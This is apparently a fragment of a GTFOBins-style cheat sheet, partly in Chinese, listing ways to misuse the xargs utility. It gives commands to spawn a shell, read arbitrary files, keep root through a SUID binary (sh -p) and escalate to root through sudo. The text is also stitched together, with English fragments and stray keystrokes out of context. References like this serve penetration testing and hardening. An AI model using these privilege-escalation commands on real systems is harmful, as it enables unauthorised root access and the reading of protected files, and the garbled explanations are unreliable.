用来生成一个交互式的系统shell。
xargs -a /dev/null sh
echo x | xargs -Iy sh -c 'exec sh 0<&1'
Read interactively from stdin
. xargs -Ix sh -c 'exec sh 0<&1'
x^D^D
从文件中读取数据。
$'\n'
is added. The actual /bin/echo
command is executed. GNU version only. LFILE=要读取的文件路径
xargs -a "$LFILE" -0
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./xargs -a /dev/null sh -p
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo xargs -a /dev/null sh